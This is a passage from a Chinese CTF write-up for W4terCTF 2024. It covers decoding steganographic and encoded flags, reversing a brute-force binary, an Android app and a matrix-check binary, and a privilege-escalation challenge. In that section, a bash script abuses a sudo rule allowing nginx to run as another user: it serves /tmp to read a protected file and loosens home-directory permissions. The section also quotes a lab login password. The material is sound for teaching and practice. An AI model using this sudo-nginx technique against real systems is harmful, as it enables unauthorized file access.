Voilx! In view, a humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of Fate. This Visage, no mere Veneer of Vanity, is it Vestige of the Vox populi, now Vacant, Vanished, as the once Vital Voice of the Verisimilitude now Venerates what they once Vilified. However, this Valorous Visitation of a by-gone Vexation, stands Vivified, and has Vowed to Vanquish these Venal and Virulent Vermin vanguard-ing Vice and Vouchsafing the Violently Vicious and Voracious Violation of Volition. Amidst this Vortex of Verbosity, a Veiled Vestige of Vindication emerges: a Variable W4terCTF{bEneATH_Th3_mASk_vIG3N3RE_5TRlK3S_84Ck_WiTH_v3N934nc3}, yet Vivacious Vector for Victory. The only Verdict is Vengeance; a Vendetta, held as a Votive, not in Vain, for the Value and Veracity of such shall one day Vindicate the Vigilant and the Virtuous. Verily, this Vichyssoise of Verbiage Veers most Verbose, yet within its Volumes lies the Vibrant Voice of Validation. In this Vein, it is my Very good honor to meet you and you may call me V. |
拿到 flag
W4terCTF{bEneATH_Th3_mASk_vIG3N3RE_5TRlK3S_84Ck_WiTH_v3N934nc3}
# Spam 2024
下载得到一篇很长的垃圾邮件
参考资料:https://forum.rtsec.cn/d/116-gong-fang-shi-jie-crypto-ji-chu-ti-mu-cryptola-ji-you-jian
使用 https://www.spammimic.com/,Decode 正文部分,得到
59,6f,75,20,6c,69,6b,65,20,65,6d,6f,6a,69,73,2c,20,64,6f,6e,27,74,20,79,6f,75,3f,0a,0a,01f643,01f4b5,01f33f,01f3a4,01f6aa,01f30f,01f40e,01f94b,01f6ab,01f606,2705,01f606,01f6b0,01f4c2,01f32a,263a,01f6e9,01f30f,01f4c2,01f579,01f993,01f405,01f375,01f388,01f600,01f504,01f6ab,01f3a4,01f993,2705,01f4ee,01f3a4,01f385,01f34e,01f643,01f309,01f383,01f34d,01f374,01f463,01f6b9,01f923,01f418,01f3f9,263a,01f463,01f4a7,01f463,01f993,01f33f,2328,01f32a,01f30f,01f643,01f375,2753,2602,01f309,01f606,01f3f9,01f375,01f4a7,01f385,01f449,01f30a,01f6b9,01f6aa,01f374,01f60e,01f383,01f32a,01f643,01f441,01f94b,01f451,01f4a7,01f418,01f3a4,01f94b,01f418,01f6e9,01f923,01f309,01f6e9,23e9,01f60d,2753,01f418,01f621,2600,01f60d,01f643,01f601,01f600,01f601,01f6ab,01f4c2,2705,2603,01f6ab,01f60e,01f52a,01f451,01f600,01f579,01f6ab,01f60d,01f32a,01f4c2,01f44c,01f34d,01f44c,01f993,01f590,01f923,01f60e,01f3ce,01f34d,01f3f9,01f34c,01f34d,01f3a4,2600,01f3f9,01f388,01f6b0,01f4a7,2600,2709,01f3f9,01f34d,01f993,01f385,01f374,2602,23e9,01f6aa,01f40d,263a,01f418,01f607,01f621,01f375,01f30f,01f993,01f375,01f6e9,01f4c2,01f44c,01f3f9,01f5d2,01f5d2,0a,0a,42,74,77,2c,20,74,68,65,20,6b,65,79,20,69,73,20,22,4b,45,59,22
From HEX
You like emojis, don't you?
(乱码)
Btw, the key is "KEY"
逗号换成 \u
\u59\u6f\u75\u20\u6c\u69\u6b\u65\u20\u65\u6d\u6f\u6a\u69\u73\u2c\u20\u64\u6f\u6e\u27\u74\u20\u79\u6f\u75\u3f\u0a\u0a\u01f643\u01f4b5\u01f33f\u01f3a4\u01f6aa\u01f30f\u01f40e\u01f94b\u01f6ab\u01f606\u2705\u01f606\u01f6b0\u01f4c2\u01f32a\u263a\u01f6e9\u01f30f\u01f4c2\u01f579\u01f993\u01f405\u01f375\u01f388\u01f600\u01f504\u01f6ab\u01f3a4\u01f993\u2705\u01f4ee\u01f3a4\u01f385\u01f34e\u01f643\u01f309\u01f383\u01f34d\u01f374\u01f463\u01f6b9\u01f923\u01f418\u01f3f9\u263a\u01f463\u01f4a7\u01f463\u01f993\u01f33f\u2328\u01f32a\u01f30f\u01f643\u01f375\u2753\u2602\u01f309\u01f606\u01f3f9\u01f375\u01f4a7\u01f385\u01f449\u01f30a\u01f6b9\u01f6aa\u01f374\u01f60e\u01f383\u01f32a\u01f643\u01f441\u01f94b\u01f451\u01f4a7\u01f418\u01f3a4\u01f94b\u01f418\u01f6e9\u01f923\u01f309\u01f6e9\u23e9\u01f60d\u2753\u01f418\u01f621\u2600\u01f60d\u01f643\u01f601\u01f600\u01f601\u01f6ab\u01f4c2\u2705\u2603\u01f6ab\u01f60e\u01f52a\u01f451\u01f600\u01f579\u01f6ab\u01f60d\u01f32a\u01f4c2\u01f44c\u01f34d\u01f44c\u01f993\u01f590\u01f923\u01f60e\u01f3ce\u01f34d\u01f3f9\u01f34c\u01f34d\u01f3a4\u2600\u01f3f9\u01f388\u01f6b0\u01f4a7\u2600\u2709\u01f3f9\u01f34d\u01f993\u01f385\u01f374\u2602\u23e9\u01f6aa\u01f40d\u263a\u01f418\u01f607\u01f621\u01f375\u01f30f\u01f993\u01f375\u01f6e9\u01f4c2\u01f44c\u01f3f9\u01f5d2\u01f5d2\u0a\u0a\u42\u74\u77\u2c\u20\u74\u68\u65\u20\u6b\u65\u79\u20\u69\u73\u20\u22\u4b\u45\u59\u22
把这个放到 https://www.ifreesite.com/unicode/,得到
You like emojis, don't you?
🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅😆🚰📂🌪☺🛩🌏📂🕹🦓🐅🍵🎈😀🔄🚫🎤🦓✅📮🎤🎅🍎🙃🌉🎃🍍🍴👣🚹🤣🐘🏹☺👣💧👣🦓🌿⌨🌪🌏🙃🍵❓☂🌉😆🏹🍵💧🎅👉🌊🚹🚪🍴😎🎃🌪🙃👁🥋👑💧🐘🎤🥋🐘🛩🤣🌉🛩⏩😍❓🐘😡☀😍🙃😁😀😁🚫📂✅☃🚫😎🔪👑😀🕹🚫😍🌪📂👌🍍👌🦓🖐🤣😎🏎🍍🏹🍌🍍🎤☀🏹🎈🚰💧☀✉🏹🍍🦓🎅🍴☂⏩🚪🐍☺🐘😇😡🍵🌏🦓🍵🛩📂👌🏹🗒🗒
Btw, the key is "KEY"
使用 https://aghorler.github.io/emoji-aes/
key = 🔑, 得到
0x???? ⊕ dxBUQVJndGJbbGByE3tGUW57VxV0bH9db3FSe2YFUndUexVUYWl/QW1FAW1/bW57EhQSEF0=
进行 base64 解码
做异或操作,可以猜测开头就是 W4
s = # base64 解码后的数据 | |
while len(s)>1: | |
arr = [] | |
for x in s: | |
arr.append(ord(x)) | |
print(arr) | |
h = ord(s[0])^ord('W') | |
l = ord(s[1])^ord('4') | |
for i,x in enumerate(arr): | |
if i % 2 == 0: | |
arr[i] = arr[i]^h | |
else: | |
arr[i] = arr[i]^l | |
ret = '' | |
for x in arr: | |
ret += chr(x) | |
print(ret) | |
s=s[1:len(s)] |
得到:
W4terCTF{H@V3_fuN_w1TH_yOUr_F!rSt_5pAM_eMa!I_IN_2024}
# GZGPT
这里漏出鸡脚了:
于是分析每一行的末尾:
with open("output.log") as f: | |
lines = f.readlines() | |
tails = [line[-9:-1] for line in lines] | |
tails = [tail for tail in tails if tail[-1] in ('\u200c', '\u200d')] | |
tails[:10] |
['\u200c\u200d\u200c\u200d\u200c\u200d\u200d\u200d',
'\u200c\u200c\u200d\u200d\u200c\u200d\u200c\u200c',
'\u200c\u200d\u200d\u200d\u200c\u200d\u200c\u200c',
'\u200c\u200d\u200d\u200c\u200c\u200d\u200c\u200d',
'\u200c\u200d\u200d\u200d\u200c\u200c\u200d\u200c',
'\u200c\u200d\u200c\u200c\u200c\u200c\u200d\u200d',
'\u200c\u200d\u200c\u200d\u200c\u200d\u200c\u200c',
'\u200c\u200d\u200c\u200c\u200c\u200d\u200d\u200c',
'\u200c\u200d\u200d\u200d\u200d\u200c\u200d\u200d',
'\u200c\u200d\u200c\u200c\u200d\u200c\u200c\u200d']
可以看到有一些行的末尾有且仅有 8 个这种不可见字符,不是所有行都有,但是经验证,这样的行的数量每次都是恒定的。
八位,两种字符,一种当 0 一种当 1 试了试:
d = { | |
"\u200c": 0, | |
"\u200d": 1, | |
} | |
b_tails = "".join([chr(int(''.join([str(d[c]) for c in tail]), 2)) for tail in tails]) | |
b_tails |
W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1l}W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1l}W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1
# Priv Escape
首先找 flag ,在 /tmp/flag
找到了,但是没权限读!然后还发现这个文件的 owner 居然不是 root
,而是 r00t
(什么高仿 root),这或许就意味着不需要 root 权限也能得到 flag 。
find
查找和 r00t
用户有关的所有文件、目录,会发现 nginx 非常可疑,但这还不够。
关键切入点在于查看与本用户执行权限相关信息:
sudo -l |
然后发现 nginx 露出了鸡脚:
User W4terCTFPlayer may run the following commands on | |
priv-escape-5ee9f22c905b4d86: | |
(r00t) NOPASSWD: /usr/sbin/nginx |
这意味着我们的用户可以以 r00t
的身份运行 nginx ,那么依靠 nginx 的网页我们就能读取 /tmp/flag
。
直接运行 sudo -u r00t nginx
,虽然启动了 nginx ,但是我们不知道咋访问 /tmp/flag
,因为权限问题也无法将 /tmp/flag
软链接到 /var/www/html
,所以我们搞了个脚本用自己的 nginx 配置:
#!/bin/bash | |
cp -rf /etc/nginx /home/W4terCTFPlayer/nginx | |
echo "user r00t; | |
worker_processes auto; | |
pid /home/W4terCTFPlayer/nginx/nginx.pid; | |
events { | |
worker_connections 768; | |
} | |
http { | |
sendfile on; | |
tcp_nopush on; | |
types_hash_max_size 2048; | |
include /home/W4terCTFPlayer/nginx/mime.types; | |
default_type application/octet-stream; | |
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE | |
ssl_prefer_server_ciphers on; | |
gzip on; | |
include /home/W4terCTFPlayer/nginx/conf.d/*.conf; | |
include /home/W4terCTFPlayer/nginx/sites-enabled/*; | |
}" > /home/W4terCTFPlayer/nginx/nginx.conf | |
rm /home/W4terCTFPlayer/nginx/sites-enabled/default | |
echo "server { | |
listen 8083 default_server; | |
listen [::]:8083 default_server; | |
root /tmp; | |
index index.html index.nginx-debian.html; | |
server_name _; | |
location / { | |
try_files $uri $uri/ =404; | |
} | |
}" > /home/W4terCTFPlayer/nginx/sites-enabled/default | |
echo '<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Document</title> | |
</head> | |
<body> | |
114514 | |
</body> | |
</html>' > /tmp/index.html | |
chmod 777 -R /home/W4terCTFPlayer # 不要忘了给 r00t 我们的文件目录访问权限 | |
sudo -u r00t nginx -c /home/W4terCTFPlayer/nginx/nginx.conf # 启动 nginx |
然后执行:
# We1c0meToW4terCTF2024! | |
scp -P 64780 hack.sh W4terCTFPlayer@127.0.0.1:/home/W4terCTFPlayer # 输入一下密码 | |
ssh W4terCTFPlayer@127.0.0.1 -p 64780 # 输入一下密码 | |
chmod 777 hack.sh | |
./hack.sh | |
# sudo -u r00t nginx -s reload -c /home/W4terCTFPlayer/nginx/nginx.conf # 用来重新加载 nginx 配置文件 | |
curl https://127.0.0.1:8083/flag |
然而中途遇到了阻碍,写 WP 的时候才发现似乎是因为我们写脚本的同学用的 mac 的 shell 导致的,在 echo 的时候将 /home/W4terCTFPlayer/nginx/sites-enabled/default
里的 $uri
当成了环境变量?!然后 nginx 返回 301 ...... 脚本里把 $uri
改成 \$uri
就好了
W4terCTF{eScAp3_THE_BouNdarles_OF_n9lnX_pRIvi1eGeS}
# Reverse
# BruteforceMe
下载的附件是一个程序,运行程序后可以输入 flag,程序会判断 flag 长度是否正确,如果长度正确,会给出 flag 经过加密后经比对有多少字符符合
所以,只需要一个 python 脚本猜测每一位的字符,脚本如下
import subprocess | |
import random | |
input_data = "W4terCTF###################################" # len = 43 | |
arr = list(input_data) | |
print(arr) | |
voc = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_" | |
def get_flag(): | |
input_data = ''.join(arr) | |
command = ["./BruteforceMe"] | |
# 作为子进程启动外部程序 | |
process = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) | |
# 输入数据到程序的标准输入 | |
process.stdin.write(input_data) | |
process.stdin.flush() | |
# 从标准输出读取程序的输出 | |
output_data, _ = process.communicate() | |
#print(output_data) | |
j=0 | |
for i,x in enumerate(output_data): | |
if not x.isnumeric(): | |
j=i+1 | |
else: | |
break | |
tmp=[] | |
while output_data[j].isnumeric(): | |
tmp.append(output_data[j]) | |
j+=1 | |
c_num = int(''.join(tmp)) | |
#print(input_data) | |
# 打印输出 | |
#print(output_data) | |
#print(c_num) | |
return c_num | |
while get_flag() < 60: | |
# 随机打乱 voc | |
voc = list(voc) | |
random.shuffle(voc) | |
voc = ''.join(voc) | |
for t in range(43): | |
old = get_flag() | |
#print(f"{t},{old}: ") | |
cur_best = old | |
for v in voc: | |
old_arr = arr[t] | |
arr[t]=v | |
print(''.join(arr)) | |
new = get_flag() | |
arr[t]=old_arr | |
if new >= cur_best: | |
#print(f"{v},{new};",end=' ') | |
arr[t]=v | |
cur_best = new | |
#print('') | |
print(f"best: {get_flag()}") | |
print(''.join(arr)) |
在和 BruteforceMe 同文件夹下执行这个脚本,直到程序遇到报错停止,最后一个输出就是 flag
一般 while 循环执行 3 轮就能得到结果,运行时间 1 分钟以内
W4terCTF{UnR3IAtED_8y73S_CAN_6e_3nUmErAT3d}
# 安安又卓卓
# 第一问:剪刀石头布
这一问可以使用 APKTool 进行逆向
用法参考 https://juejin.cn/post/7216968724938195001
可以得到反编译的 Smali 代码
在 smali\com\w4ter\w4terctf2024\FirstChall.smali
中找到以下代码
:array_0 | |
.array-data 2 | |
0x32s | |
0x33s | |
0x32s | |
0x32s | |
0x32s | |
0x32s | |
0x32s | |
0x33s | |
0x32s | |
0x31s | |
0x31s | |
0x32s | |
0x31s | |
0x31s | |
0x31s | |
0x32s | |
0x32s | |
0x33s | |
0x31s | |
0x32s | |
...... |
经验证,这是机器的出拳顺序
要想赢得机器,对手出 2,我出 1,对手出 3,我出 2,对手出 1,我出 3。
运行下面的脚本,得到我方出拳顺序
rival=[2,3,2,2,2,2,2,3,2,1,1,2,1,1,1,2,2,3,1,2,2,3,2,2,2,3,1,3,2,2,1,2,2,1,3,2,1,1,3,3,2,3,3,2,3,2,2,3,2,3,1,2,2,3,2,2,2,3,2,3,3,3,1,3,2,1,3,2,1,2,2,3,2,3,3,3,2,2,3,3,2,3,2,1,1,3,1,1,2,3,3,3,2,3,3,2,2,3,3,2,2,3,2,3,2,1,3,3,2,2,1,2,2,1,1,1,1,2,2,1,2,1,2,1,3,3,1,3,2,3,1,2,1,2,2,1,2,1,3,2,3,1,1,2,2,3,1,3,2,1,2,2,2,1,3,2,2,1,2,3,2,3,1,3,2,2,1,2,2,3,1,2,2,1,2,1,2,3,3,3,2,2,3,1,2,1,1,1,2,1,2,2,2,3,1,2,1,2,2,1,2,1,3,2,3,3,3,2,2,3,1,2,2,3,1,3,2,1,2,1,3,1,3,3,2,1,3,2,2,2,2,1,2,1,3,2,1,1,1,2,2,1,3,2,2,1,2,2,2,1,2,3,1,3,3,3] | |
print(len(rival)) | |
my = [] | |
for x in rival: | |
my.append((x+1)%3+1) | |
for x in my: | |
print(x,end='') |
结果为
1211111213313331123112111232113113213322122121121231121112122232132131121222112212133233122212211221121213221131133331131313223212313113132123311232131113211312123211311231131312221123133313111231311313212221123112321313232213211113132133311321131113123222 |
粘贴到安卓程序中,得到以下 flag 片段
Android_is_very_interesting_and_
# 第二问:猜数字
第二第三问需要以下工具
https://github.com/java-decompiler/jd-gui
https://github.com/pxb1988/dex2jar
https://blog.csdn.net/katrinawj/article/details/80016315
这样反编译可以得到 java 代码,可读性比 smali 更优
在 com/w4ter.w4terctf2024/SecondCheck.class
,其中的函数 check0
到 check15
就是分别对 16 个数字进行检验
以 check10
为例,
private boolean check10(int paramInt) { | |
paramInt = xor(xor(xor(add(mul(add(mul(xor(add(mul(sub(paramInt, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13); | |
boolean bool = true; | |
if (sub(mul(xor(sub(add(paramInt, 1), 9), 12), 3), 4) != 1117943) | |
bool = false; | |
return bool; | |
} |
使用下面的 python 脚本,可以枚举出第 10 个数字
def xor(a, b): | |
return a ^ b | |
def add(a, b): | |
return a + b | |
def sub(a, b): | |
return a - b | |
def mul(a, b): | |
return a * b | |
i=10 | |
up = 2**(i+1) | |
for j in range(0, up+1): | |
paramInt = j | |
paramInt = xor(xor(xor(add(mul( | |
add(mul(xor(add(mul(sub(paramInt, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13) | |
i = sub(paramInt, 6) | |
if not (sub(mul(xor(sub(add(paramInt, 1), 9), 12), 3), 4) != 1117943): | |
print(f"{j}") |
运行结果是 1217
类似的,可以得到全部 16 个数字
2,3,7,14,18,44,82,235,365,715,1217,3774,6025,14042,28572,51291
输入到安卓程序中,得到以下 flag 片段
Smkhwxi8wnGu14Jq
# 第三问:直捣黄龙
在 com/w4ter.w4terctf2024/ThirdCheck.class
,其中的函数 check0
到 check23
就是分别对 24 个字母进行检验
与之前不同的是,代码中加入了些奇怪的东西
要想结束 while 循环,就必须执行 3 处的 break,所以正确的字母输入后一定会执行 2 和 3 处的代码
2 处的代码会用到 i 的值,如果输入正确的字母后,只执行 2 处代码没有执行 1 处的代码,i 的值就恒定为 0 而与 paramInt 无关,结果是 paramInt 输入任何值都是合法的,这显然不合理,所以 1 处的代码一定会被执行
综上分析,第三问混淆的代码应该不会影响正常的执行逻辑,可以直接无视。
和第二问一样,写出以下脚本枚举字符
def xor(a, b): | |
return a ^ b | |
def add(a, b): | |
return a + b | |
def sub(a, b): | |
return a - b | |
def mul(a, b): | |
return a * b | |
# paramInt = 2 | |
# print(xor(xor(add(mul(add(xor(add(xor(sub(sub(add(xor(xor(paramInt, 1), 7), 7), 13), 8), 14), 5), 2), 12), 10), 14), 2), 5)) | |
up=256 | |
for j in range(0,up+1): | |
paramInt = j | |
i = sub(add(add(xor(paramInt, 9), 3), 10), 10) | |
if (sub(mul(xor(mul(i, 1), 2), 3), 5) == 313): | |
print(f"{j},{chr(j)}") |
可以得到第三个字符是 l
类似的,可以枚举得出其他字符,结果为
I_like_Android_Reverse!!
# java 脚本
更简便的方法?
利用已有的 java 源代码可写 java 脚本爆破:
import java.lang.System; | |
import java.lang.reflect.Method; | |
import SecondCheck.SecondCheck; | |
import ThirdCheck.ThirdCheck; | |
public class Hack { | |
private static final int[] ENC2 = new int[] { | |
901, 1554, 17367, 53318, 68796, 19575, 1957, 1461, 485, 790, | |
1281, 218036, 54829, 2367142, 28073245, 51410 }; | |
public static void main(String[] args) throws Exception { | |
char[] flag1 = new char[16]; | |
for (int i = 1; i <= Math.pow(2,16); i++) { | |
for (int j = 0; j < 16; j++){ | |
Method method = SecondCheck.class.getDeclaredMethod("check" + j, new Class[] { int.class }); | |
method.setAccessible(true); | |
if (callCheck(method, (i))) { | |
String str1 = "flag" + j; | |
Class<Integer> clazz = int.class; | |
Method method2 = SecondCheck.class.getDeclaredMethod(str1, new Class[] { clazz, clazz }); | |
method2.setAccessible(true); | |
flag1[j] = (char)callFlag(method2, ENC2[j], i); | |
} | |
} | |
} | |
char[] flag2 = new char[24]; | |
for (int i = 1; i <= 256; i++) { | |
for (byte j = 0; j < 24; j++) { | |
Method method = ThirdCheck.class.getDeclaredMethod("flag" + j, new Class[] { int.class }); | |
method.setAccessible(true); | |
if (callFlag(method, i)) { | |
flag2[j] = (char)i; | |
} | |
} | |
} | |
System.out.println(flag1); | |
System.out.println(flag2); | |
} | |
public static boolean callFlag(Method paramMethod, int paramInt) throws Exception { | |
Object object = paramMethod.invoke(new ThirdCheck(), new Object[] { Integer.valueOf(paramInt) }); | |
return (object instanceof Boolean) ? ((Boolean)object).booleanValue() : false; | |
} | |
public static int callFlag(Method paramMethod, int paramInt1, int paramInt2) throws Exception { | |
Object object = paramMethod.invoke(new SecondCheck(), new Object[] { Integer.valueOf(paramInt1), Integer.valueOf(paramInt2) }); | |
return (object instanceof Integer) ? ((Integer)object).intValue() : 0; | |
} | |
public static boolean callCheck(Method paramMethod, int paramInt) throws Exception { | |
Object object = paramMethod.invoke(new SecondCheck(), new Object[] { Integer.valueOf(paramInt) }); | |
return (object instanceof Boolean) ? ((Boolean)object).booleanValue() : false; | |
} | |
} |
命令:
javac Hack.java | |
java Hack |
可以直接得到后面两关的 flag 片段:
Smkhwxi8wnGu14Jq
I_like_Android_Reverse!!
# crabs
使用 IDA 进行逆向
反编译 main 函数:
puts("Enter your flag, and get a picture"); | |
__isoc99_scanf("%s", &v8); | |
if ( (unsigned int)sub_1209(&v8) ) | |
return 0LL; | |
puts("Here is your picture"); | |
sub_1483(&qword_8390); | |
if ( (unsigned int)sub_2B4D(&qword_8390, &v8, v4, v5, v6, v7, v8, v9) ) | |
{ | |
puts("nonono, ugly picute"); | |
} | |
else | |
{ | |
puts("okokok, nice picture"); | |
printf("flag is W4terCTF{%s}\n", (const char *)&v8); | |
} | |
return 0LL; |
# sub_1209
sub_1209
的代码
if ( strlen((const char *)a1) == 55 ) | |
{ | |
v2 = *(_QWORD *)(a1 + 8); | |
qword_8360 = *(_QWORD *)a1; | |
qword_8368 = v2; | |
v3 = *(_QWORD *)(a1 + 24); | |
qword_8370 = *(_QWORD *)(a1 + 16); | |
qword_8378 = v3; | |
dword_8380 = *(_DWORD *)(a1 + 32); | |
byte_8384 = *(_BYTE *)(a1 + 36); | |
for ( i = 0; i <= 36; ++i ) | |
{ | |
if ( (i ^ *((char *)&qword_8360 + i)) != byte_6020[i] ) | |
{ | |
LABEL_19: | |
puts("nonono, invalid"); | |
return 1LL; | |
} | |
} | |
v4 = *(_QWORD *)(a1 + 46); | |
qword_8390 = *(_QWORD *)(a1 + 38); | |
qword_8398 = v4; | |
byte_83A0 = *(_BYTE *)(a1 + 54); | |
for ( j = 0; j <= 2; ++j ) | |
{ | |
for ( k = 0; k <= 4; ++k ) | |
{ | |
if ( (*((char *)&qword_8390 + 6 * j + k) <= 64 || *((char *)&qword_8390 + 6 * j + k) > 90) | |
&& (*((char *)&qword_8390 + 6 * j + k) <= 96 || *((char *)&qword_8390 + 6 * j + k) > 122) | |
&& (*((char *)&qword_8390 + 6 * j + k) <= 47 || *((char *)&qword_8390 + 6 * j + k) > 57) | |
|| j <= 1 && k == 4 && *((_BYTE *)&qword_8390 + 6 * j + 5) != 95 ) | |
{ | |
goto LABEL_19; | |
} | |
} | |
} | |
return 0LL; | |
} | |
else | |
{ | |
puts("nonono, length wrong"); | |
return 1LL; | |
} |
a1 即为输入的 flag,首先在 11 行对 flag 前 37 列进行异或处理,与 byte_6020
进行比对
byte_6020
的内容如下
用下面的脚本,可以推测 flag 前 37 个字符
a = ['1', 'D', '5', '\\', 'Q', 'V', 'Y', 'c', 'z', 'H', ']', | |
'T', 'm', 'R', '~', 'c', 'S', '&', 'g', 'a', '39', 'J', | |
'A', '^', 'L', 'Q', 'E', 'V', ']', '*', 'L', 'v', 'X', | |
'~', '22', 'M', '@'] | |
b=[] | |
for x in a: | |
if len(x)==1: | |
b.append(ord(x)) | |
else: | |
b.append(int(x)) | |
print(b) | |
c=[] | |
for i,x in enumerate(b): | |
c.append(chr(x^i)) | |
s=''.join(c) | |
print(len(s)) | |
print(s) |
结果为 1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd
代码 24 行之后限定了 flag 的 37 位之后的格式
得到 flag 为 1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd_aaaaa_aaaaa_aaaaa
,其中 a 为未知
# sub_24BD
for ( i = 0; i <= 4; ++i ) | |
{ | |
for ( j = 0; j <= 16; ++j ) | |
{ | |
dword_83C0[17 * i + j] = 0; | |
for ( k = 0; k <= 16; ++k ) | |
dword_83C0[17 * i + j] += byte_8020[55 * i + k] * dword_6060[17 * k + j]; | |
} | |
} | |
if ( memcmp(dword_83C0, &unk_6500, 0x154uLL) ) | |
return 1LL; | |
for ( m = 0; m <= 4; ++m ) | |
{ | |
for ( n = 0; n <= 16; ++n ) | |
{ | |
dword_83C0[17 * m + n] = 0; | |
for ( ii = 0; ii <= 16; ++ii ) | |
dword_83C0[17 * m + n] += byte_8020[55 * m + 275 + ii] * dword_6660[17 * ii + n]; | |
} | |
} | |
if ( memcmp(dword_83C0, &unk_6B00, 0x154uLL) ) | |
return 1LL; | |
for ( jj = 0; jj <= 4; ++jj ) | |
{ | |
for ( kk = 0; kk <= 16; ++kk ) | |
{ | |
dword_83C0[17 * jj + kk] = 0; | |
for ( mm = 0; mm <= 16; ++mm ) | |
dword_83C0[17 * jj + kk] += byte_8020[55 * jj + 550 + mm] * dword_6C60[17 * mm + kk]; | |
} | |
} | |
return memcmp(dword_83C0, &unk_7100, 0x154uLL) != 0; |
以第一组 for 循环为例,实际上是将 byte_8020 的前五行和 dword_6060 进行矩阵乘法,将结果和 unk_6500 对比
dword_6060 和 unk_6500 的数据可以在内存中找到,进行一个矩阵的逆运算,就能求出 byte_8020 的前五行
from data import x6500, x6060 | |
import numpy as np | |
def hex_to_arr(hex_str: str): | |
hex_str = hex_str.strip() | |
hex_str = hex_str.replace('\n', ' ') | |
hex_str = hex_str.replace('\r', ' ') | |
hex_str = hex_str.replace(' ', ' ') | |
hex_str = hex_str.split(' ') | |
hex_str = [int(i, 16) for i in hex_str] | |
return hex_str | |
x6500 = hex_to_arr(x6500) | |
#print(len(x6500)) | |
x6060 = hex_to_arr(x6060) | |
#print(len(x6060)) | |
d65 = np.zeros((5,17)) | |
for i in range(5): | |
for j in range(17): | |
for k in range(4): | |
d65[i][j] += x6500[i*17*4+j*4+k]*256**(k) | |
d60 = np.zeros((17, 17)) | |
for i in range(17): | |
for j in range(17): | |
for k in range(4): | |
d60[i][j] += x6060[i*17*4+j*4+k]*256**(k) | |
d60_inv = np.linalg.inv(d60) | |
d80 = np.dot(d65, d60_inv) | |
print(d80) |
结果为
[[32. 32. 49. 49. 32. 32. 32. 32. 32. 32. 32. 32. 32. 32. 49. 49. 49.]
[32. 32. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32. 32. 49. 49. 32.]
[32. 32. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 49. 49. 32. 32. 32.]
[49. 49. 49. 49. 49. 49. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32.]
[32. 32. 49. 49. 49. 49. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32.]]
同样的方法,可以得到 byte_8020 的后 10 行
# sub_1483
代码的逻辑大致是根据输入的 flag 的后 17 位,构造 byte_8020
刚才已经求出了 byte_8020,可以用下面的脚本求出 flag 后 17 位
small_alpha_bet = [ | |
' 11 11 111111111111111111 11 11 ', | |
' 111 1119911191119 ', | |
' 11 11111111119999991111111111 11 ', | |
' 9 9111 9 111 9 99 9 111 ', | |
' 111111111199111111991111111111 ', | |
'111 9 9111 1111119111111 111 111 9 ', | |
'99111 111 9 111111 111 111 11', | |
' 111 9 111 1119 111 111 111 ', | |
' 9 111111 9 9 111 99111 111', | |
' 111 91111119 111 1119111 1119 ', | |
' 111 111 9 111 1119 111 1', | |
' 111 11191119 111 991119 111 ', | |
' 9111111111 111 9111 111 1119', | |
'1119 111111 111 111111111 9111 99111 ', | |
' 1119 111111 111 111 ', | |
'999 111111 1119 111 11199 9 91119', | |
'111 111 9 9111 1119 99 111111111', | |
' 11 11111111111111111111111111 11 ', | |
' 11 11 11 11 ', | |
' 99111 111111 111 111 9 111 9 ', | |
' 1111119 111111 111 9 111 ', | |
' 111 11191111119 111 99 111111 11111', | |
' 111 111 11199 9 991111', | |
' 9111 111 111111 9 99 111 ', | |
'9 9 1111119 1119111 111 11111199 11', | |
' 9 111111111 111111111 9111111 111'] | |
upper_alpha_bet = [ | |
' 111111 99 111 111111111111111', | |
' 11 11 11 11 11 11 ', | |
' 111 9 111 11199111111 11111111', | |
' 11111111 11 1199 11 1199 11 11111111111', | |
'1111111111119 999 111 9 9 111 ', | |
'111 99 9111 9111111 1119', | |
' 11111199111111 111111111 111 9111 1', | |
' 11 111111 111111 111111 111 ', | |
' 11111111111111111111111111111111111111 ', | |
' 1119 111 111 9 111 ', | |
'111 111 9 11199111 1119111 ', | |
' 111 999 111111111 99 1119111 ', | |
' 11 11111111 11111111 11 111', | |
'1111111111 11 11 11 11111111111', | |
' 1111 11 11 11 11 11 11 1111111', | |
'111 9 111111 1119111111 9 ', | |
'9111 11111191111111111119 111 111 ', | |
' 9111 111111 111 9 111111 111111 ', | |
'9111 911199 111111 9 9 9111', | |
' 111 111 9 9 99 1111119 111 1', | |
' 1111 11 11 11 11 11 1111111', | |
'111 111 111111111 111111111 11', | |
' 1111 11 9999 11 9999 1111 11111 ', | |
'111111 1119111 9 99111 1111119111 ', | |
'111 9 9 111 1119 111 1111111119111', | |
' 111 111111111111 1119 111111 1111119 '] | |
num_bet = [ | |
'111 9 111 99 111111 111 111 111', | |
' 111 111111 111 9111 111 1111119111 1', | |
' 9 9 9111111 9 111111111 111 ', | |
'111 9111111111 111 111 1111111119 911', | |
'99 9111 1119 1119 111 1119 9', | |
' 9 111111 9111 9111111111 9 1', | |
' 111 111 111 111111 9 9111111', | |
' 1111111111111111111111111111111111 ', | |
' 9 111111 9 1111111111111119 ', | |
'111 111111999111111 9 9111 111 9111 1'] | |
matrix_8020 = [ | |
[32, 32, 49, 49, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49], | |
[32, 32, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 32], | |
